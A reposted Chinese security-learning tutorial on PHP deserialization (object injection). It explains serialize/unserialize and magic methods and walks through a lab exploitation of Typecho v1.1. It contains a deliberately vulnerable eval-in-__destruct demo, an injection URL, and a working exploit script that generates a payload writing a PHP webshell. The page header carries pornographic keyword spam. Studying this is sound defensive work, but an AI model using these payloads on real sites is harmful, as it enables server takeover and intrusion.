日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【CyberSecurityLearning 69】反序列化漏洞

發布時間:2025/3/15 编程问答 18 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【CyberSecurityLearning 69】反序列化漏洞 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

反序列化

為什么要序列化

PHP 中序列化與反序列化

*簡單的例子

*序列化Demo

*漏洞何在?

@ 創建一個類,一個對象并將其序列化和反序列化

@ 反序列化注入

*為什么會這樣呢

實戰:Typecho--v1.1--前臺反序列化Getshell


反序列化

為什么要序列化

class?? 類
obj ? ?? 對象

百度百科關于序列化的定義是,將對象的狀態信息轉換為可以存儲或傳輸的形式(字符串)的過程。在序列化期間,對象將其當前狀態寫入到臨時或持久性存儲區(把存儲放在數據庫中,首選數據庫是Redis,或者是類型Redis這種鍵值對型數據庫,可以理解為Redis數據庫就是一個大數組通過鍵值對的方式去訪問,關系型數據庫就是一張大的Excel表格)。以后,可以通過從存儲區中讀取或反序列化對象的狀態,重新創建該對象。

簡單地說,序列化就是把一個對象變成可以傳輸的字符串(便于傳輸),反序列化就是將字符串轉換成對象的過程(如果這個字符串客戶端可控,就可以讓web應用反序列化任意對象,嚴重的是我們在反序列化過程中會觸發一些可執行的PHP代碼,比如說phpinfo),可以以特定的格式在進程之間跨平臺、安全的進行通信。

<?php class Stu{public $name;public $sex;public $agel;public $score; } $stu1= new Stu();//創建了一個對象 new $stu1->name="ZQX"; $stu1->sex=true; $stu1->age=16; $stu1->score=60;$stu2= new Stu(); $stu2->name="HMM"; $stu2->sex=false; $stu2->age=16; $stu2->score=90;echo $stu1->name."'s score = ".$stu1->score; //ZQX's score = 60 先找到對象名,再找到他的屬性 echo $stu2->name."'s score = ".$stu2->score; echo "<hr />"; var_dump($stu1); //把stu1這個對象,一個抽象的數據結構轉化成字符串并存儲在硬盤的文件當中,這個過程叫序列化 //序列化好處:我們可以把一個用戶的狀態相當做一個暫停,等用戶激活的時候再從硬盤把字符串取出來,再反序列化成一個對象,然后再存儲在內存中讓他工作。 ?>

PHP 中序列化與反序列化

PHP 反序列化漏洞也叫PHP 對象注入,是一個常見的漏洞,這種類型的漏洞雖然有些難以利用,但一旦利用成功就會造成非常威脅的后果。漏洞的形成的根本原因是程序員沒有對用戶輸入的反序列化字符串進行檢測,導致反序列化過程可以被惡意控制,進而造成代碼執行、getshell 等一系列不可控的后果。反序列化漏洞并不是PHP 特有的,也存在于Java、Python 等語言之中但其原理基本相通。

PHP中的序列化與反序列化,基本都是圍繞serialize()和 unserialize() 兩個函數展開的。
?

*簡單的例子

我們可以用json(json這種格式就是格式化的一個字符串,也就是說Json格式的數據具備自己一定的格式) 格式數據的編碼與解碼,來理解序列化與反序列化過程。雖然json 數據與反序列化漏洞沒有什么關系,但是這個例子有助于我們理解。

測試代碼:

<?php $stu=array('name'=>'Waffle','age'=>20,'SEX'=>true,'score'=>96.6); echo $stu; //echo是不能輸出數組的 echo "<hr />"; $stu_json=json_encode($stu);//但是如果我們把 數字$stu做一個json的格式轉換json_encode //array一個抽象的數組,經過json的格式編碼之后他就會變成一個字符串,變成字符串之后就可以用echo來輸出 echo $stu_json; ?>

我們定義一個數組,數組屬于抽象的數據結構,為了方便跨平臺傳輸,可以將其進行json 編碼。json 格式的數據是以鍵值對的形式出現的。

Array{"name":"Waffle","age":20,"SEX":true,"score":96.6}

<?php class Stu{public $name;public $sex;public $agel;public $score; } $stu1= new Stu();//創建了一個對象 new $stu1->name="ZQX"; $stu1->sex=true; $stu1->age=16; $stu1->score=60;$stu2= new Stu(); $stu2->name="HMM"; $stu2->sex=false; $stu2->age=16; $stu2->score=90;echo $stu1->name."'s score = ".$stu1->score; //ZQX's score = 60 先找到對象名,再找到他的屬性 echo $stu2->name."'s score = ".$stu2->score; echo "<hr />"; //var_dump($stu1); //把stu1這個對象,一個抽象的數據結構轉化成字符串并存儲在硬盤的文件當中,這個過程叫序列化 //序列化好處:我們可以把一個用戶的狀態相當做一個暫停,等用戶激活的時候再從硬盤把字符串取出來,再反序列化成一個對象,然后再存儲在內存中讓他工作。 //echo $stu1;//(x)不能以字符串方式去輸出,接下來我們需要將stu1做一個轉換 echo serialize($stu1);//serialize這個函數會把我們的對象作一個序列化,把它序列化成一個字符串 //O:3:"Stu":5:{s:4:"name";s:3:"ZQX";s:3:"sex";b:1;s:4:"agel";N;s:5:"score";i:60;s:3:"age";i:16;} //O代表object,3是類名的長度,5說明我們類中有四個屬性,每句話以分號結束,s表示string類型,b表示bool類型 ?>

*序列化Demo

序列化會將一個抽象的轉換為字符串。

我們可以寫一個Demo 來說明序列化的過程,首先創建一個類,代碼如下

<?php class Stu{ public $name; public $sex; public $age; public $score; } ?>

類名是Stu ,有四個變量。

下面我們創建一個對象,并給對象中變量賦值。代碼如下

<?php include "classStu.php"; $stu1 = new Stu(); $stu1->name = "Waffle"; $stu1->sex = true; $stu1->age = 18; $stu1->score = 89.9; echo serialize($stu1); ?>

我們最后使用serialize() 函數,將$stu1 這個對象序列化成一個字符串。這樣的字符串,就很容易傳輸和存儲。如下

??? O:3:"Stu":4:?? //O 代表Object 對象;3對象名有三個字符;對象中有4個變量

??? {s:4:"name";s:3:"GGG";

??? s:3:"sex";b:1;

??? s:3:"age";i:18;

??? s:5:"score";d:89.900000000000006;}
?

同樣,我們也可以使用unserialize()函數,將字符串反序列化為一個對象。由于字符串中含有雙引號,我們可以使用定界符,代碼如下

<?phpinclude "classStu.php";$stu1 =<<<HTML O:3:"Stu":4:{s:4:"name";s:3:"GGG";s:3:"sex";b:1;s:3:"age";i:18;s:5:"score";d:89.900000000000006;} HTML;$stu1=unserialize($stu1);var_dump($stu1);?>

運行這個腳本,我們可以看到反序列化后的對象

??? object(Stu)#1 (4) { ["name"]=> string(3) "GGG" ["sex"]=> bool(true) ["age"]=> int(18) ["score"]=> float(89.9) }

*漏洞何在?

@ 創建一個類,一個對象并將其序列化和反序列化

<?phpclass Test{public $str='Waffle';function __destruct(){//echo "This is function __contruct()";@eval($this->str);} }$test = new Test(); echo serialize($test);//serialize是序列化的意思 //O:4:"Test":1:{s:3:"str";s:6:"Waffle";}這里面只有屬性沒有方法 echo "<hr />"; //$t=serialize($test); //var_dump(unserialize($t)); //object(Test)#2 (1) { ["str"]=> string(6) "Waffle" } var_dump(unserialize($_GET['obj'])); //反序列化一下 ?>

@ 反序列化注入

構造序列化字符

…/class/loudong.php?obj=O:4:"Test":1:{s:3:"str";s:10:"phpinfo();";}

會發現phpinfo() 函數被執行了

由以上代碼可以發現,PHP的反序列化漏洞需要與其他漏洞配合,比如代碼執行SQLi等

?

*為什么會這樣呢

我們注入的字符串[phpinfo()],為什么會作為PHP 語句運行呢?觀察代碼,發現在類中有一個函數 __destruct() 并且這個函數調用的eval 語句,執行$this->str 變量。為什么__destruct() 沒有被調用,函數內的語句就被執行了呢?
可以用如下代碼測試 __destruct() 函數

<?phpclass Test{public $str='GGG';function __destruct(){echo "This is function __destruct()";//@eval($this->str);}}$test = new Test();echo serialize($test);echo "<hr />";var_dump(unserialize($_GET['obj']));?>

我們會發現,在銷毀實例化類(就是對象)的時候,__destruct() 函數會被調用,并輸出字符串

?

以 __ 開頭的方法,是PHP 中的魔術方法,類中的魔術方法,在特定的情況下會被自動調用。主要魔術方法如下

__construct()

在創建對象時自動調用

__destruct()

?在銷毀對象時自動調用

__call()

?在對象中調用一個不可訪問方法時,__call() 會被調用

__callStatic()

?在靜態上下文中調用一個不可訪問方法時調用

__get()

讀取不可訪問屬性的值時,__get() 會被調用

__set()

在給不可訪問屬性賦值時,__set() 會被調用

__isset()

當對不可訪問屬性調用 isset() 或 empty() 時,__isset() 會被調用

__unset()

當對不可訪問屬性調用 unset() 時,__unset() 會被調用

__sleep()

serialize() 函數會檢查類中是否存在一個魔術方法__sleep() ,如果存在,該方法會先被調用,然后再執行序列化操作

__wakeup()

unserialize() 會檢查是否存在一個 __wakeup() 方法,如果存在會先調用__wakeup方法,預先準備對象需要的資源

__toString()

__toString() 方法用于一個類被當成字符串時應增氧回應

__invoke()

當嘗試以調用函數的方式調用一個對象時,__invoke() 方法會被自動調用

__set_state()

字PHP 5.1.0 起調用 var_export() 導出類時,此靜態 方法會被調用

__clone()

當復制完成時,如果定義了 __clone 方法,則新創建的對象(復制生成的對象)中的 __clone() 方法會被調用,可用于修改屬性的值。

__debugInfo()This method is called by var_dump() anobject to get the properties that should be shown .If the method isn't on an object ,then all public ,protec‘’ted and private propertieswill be shown.

實戰:Typecho--v1.1--前臺反序列化Getshell

typecho v1.1:http://www.kxdw.com/soft/16207.html

一個輕量級的博客

打開win2008(192.168.3.138),將源碼粘貼到web根目錄

安裝:

會發現如下報錯:(因為我們要手動創建一個數據庫)

來到phpmyadmin

安裝成功!

這個博客存在一個反序列化漏洞

typecho_v11_unseriallize_exp.php如下:

<?php class Typecho_Feed {const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);} }class Typecho_Request {private $_params = array();private $_filter = array();public function __construct(){//$this->_params['screenName'] = 'phpinfo()';$this->_params['screenName'] = "fputs(fopen('shell.php','w'),'<php @eval(\$_REQUEST[777])?>')";$this->_filter[0] = 'assert';} }$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_' );echo base64_encode(serialize($exp)); ?>

訪問:得到一串base64加密的字符串:
這串字符串就是我們生成的POC

設置Referer=http://192.168.3.138/typechov11/

__typecho_config

以上就是利用反序列化getshell

參考鏈接:
http://www.freebuf.com/articles/web/167721.html
https://baike.baidu.com/item/%E5%BA%8F%E5%88%97%E5%8C%96/2890184?fr=aladdin
https://www.cnblogs.com/magic-zero/p/7737274.html
https://mp.weixin.qq.com/s?__biz=MzAxNDY2MTQ2OQ==&mid=2650942666&idx=1&sn=5c84d6d69463a0a430e01dfa68c2d3ab&chksm=80796ef8b70ee7ee8ba5d88feb8d794bee19a55b6e17dff45fcee6ba6ee726fb4e2e029d50bd&scene=0#rd
?

總結

以上是生活随笔為你收集整理的【CyberSecurityLearning 69】反序列化漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。